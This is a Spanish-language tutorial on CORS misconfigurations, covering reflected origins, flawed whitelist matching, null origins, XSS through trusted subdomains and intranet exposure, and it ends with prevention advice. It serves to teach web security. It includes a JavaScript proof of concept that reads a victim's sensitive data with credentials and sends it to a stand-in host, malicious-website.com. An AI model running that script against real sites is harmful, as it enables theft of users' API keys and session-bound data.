Cross-Origin Resource Sharing

Cross-Origin Resource Sharing

Es un mecanismo basado en una cabecera HTTP que permite a un servidor indicar cualquier origen (dominio, esquema, puerto) distinto que el mismo por el cual un navegador debe permitir el acceso a cargar recursos.

Política Same-Origin

Es una especificación restrictiva que limita la habilidad de un sitio web para interactuar con recursos fuera de su dominio fuente. Esta política fue definida en respuesta a interacciones maliciosas entre sitios como el robo de información de un sitio web a otro, generalmente permite realizar peticiones de un sitio a otro, pero no acceder a su respuesta.

Esta configuración se puede relajar para permitir el acceso entre subdominios o sitios webs de terceros, esto es posible usando cross-origin resource sharing (CORS) que establece una serie de cabeceras HTTP que definen los orígenes confiables y sus propiedades.

Si la implementación de CORS tiene errores o son muy relajadas para asegurarse que todo funciona puede resultar en vulnerabilidades explotables

Access-Control-Allow-Origin (ACAO) header

Algunas aplicaciones necesitan proveer acceso a otros dominios, mantener una lista de dominios puede requerir un esfuerzo adicional y cualquier error puede romper la funcionalidad, una vía para hacer esto es leer la cabecera origin del request e incluir una respuesta mencionando que el origen del solicitante está permitido, por ejemplo:

Request

GET /sensitive-victim-data HTTP/1.1

Host: vulnerable-website.com

Origin: https://malicious-website.com

Cookie: sessionid=...

Response

HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://malicious-website.com

Access-Control-Allow-Credentials: true

...

Esta cabecera señala que el solicitante malicious-website.com esta permitido y que las peticiones cross-origin pueden contener la cookie Access-Control-Allow-Credentials: true permitiendo ser procesadas en la sesión.

Dado que la aplicación refleja orígenes arbitrarios en la cabecera Access-Control-Allow-Origin esto quiere decir que cualquier dominio puede acceder a sus recursos, si la respuesta contiene cualquier información confidencial como Api Keys o tokens CSRF se podría obtener estos datos.

Se podría extraer estos datos con este script

var req = new XMLHttpRequest();

req.onload = reqListener;

req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);

req.withCredentials = true;

req.send();


function reqListener() {

location='//malicious-website.com/log?key='+this.responseText;

};

Errores parseando la cabecera Origin

Algunos sitios web que soportan acceso de múltiples orígenes usan una lista blanca para permitirlos, si el origen esta en la lista es reflejado en la respuesta en la cabecera Access-Control-Allow-Origin dándole acceso

Request

GET /data HTTP/1.1

Host: normal-website.com

...

Origin: https://innocent-website.com


Response

HTTP/1.1 200 OK

...
Access-Control-Allow-Origin: https://innocent-website.com

Pero algunas organizaciones deciden darle acceso a todos los subdominios y dominios remotas por lo general realizando match de los prefijos o sufijos de las URL o con expresiones regulares, cualquiera equivocación puede dar lugar a darle acceso a otros dominios no deseados.

Por ejemplo, si una aplicación concede acceso a todos los dominios que terminen en:

normal-website.com

Un atacante podría ganar acceso registrando el dominio:

hackersnormal-website.com

Alternativamente si una aplicación le da acceso a todos los dominios que empiezan con:

normal-website.com

Un atacante podría ganar acceso usando el dominio:

normal-website.com.evil-user.net

Valor Null en origen

La cabecera origin soporta el valor Null que puede ser enviado en situaciones inusuales como:

  • Cross-origin redirects.

  • Requests from serialized data.

  • Request using the file: protocol.

  • Sandboxed cross-origin requests.

XSS vía CORS

Incluso configurando correctamente CORS se puede dar el caso de que un atacante explote una vulnerabilidad XSS ya que se establece una relación de confianza entre los dos sitios

Request:

GET /api/requestApiKey HTTP/1.1

Host: vulnerable-website.com

Origin: https://subdomain.vulnerable-website.com

Cookie: sessionid=...


Si el servidor responde:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com

Access-Control-Allow-Credentials: true

En este caso si el atacante descubre una vulnerabilidad XSS en subdomain.vulnerable-website.com puede usarla para extraer las llaves de las API usando una URL como la que sigue:

subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

Romper TLS con CORS

Si una aplicación emplea HTTPS y un subdominio confiable usa HTTP se puede romper el encriptado como se ve a continuación

Request

GET /api/requestApiKey HTTP/1.1

Host: vulnerable-website.com

Origin: http://trusted-subdomain.vulnerable-website.com

Cookie: sessionid=...

Response:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com

Access-Control-Allow-Credentials: true

Intranets y CORS

La mayoría de los ataques CORS se deben a la presencia de esta cabecera en la respuesta:

Access-Control-Allow-Credentials: true

Sin esta cabecera el navegador de la victima rechazara enviar sus cookies, queriendo decir que el atacante solo tendrá acceso a recursos sin autenticación que estarían disponibles navegando regularmente por la página, sin embargo, hay un caso común donde un atacante no puede acceder a el sitio web directamente; en una intranet donde este hospedado bajo IP privada.

Websites internos por lo general tienen niveles de seguridad menores que pueden ser aprovechados por los atacantes para ganar acceso

Request

GET /reader?url=doc1.pdf

Host: intranet.normal-website.com

Origin: https://normal-website.com


Response:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Prevenir CORS

  • Si un sitio web contiene información sensible, debe estar especificado en la cabecera Access-Control-Allow-Origin

  • Especificar en Access-Control-Allow-Origin solo sitios confiables evitando reflejar dinámicamente orígenes sin validación

  • Evitar usar Access-Control-Allow-Origin: null especificando los orígenes correspondientes

  • En redes internas evitar comodines para identificar sitios

  • No confiar únicamente en CORS para proteger data sensible, colocar protecciones del lado del servidor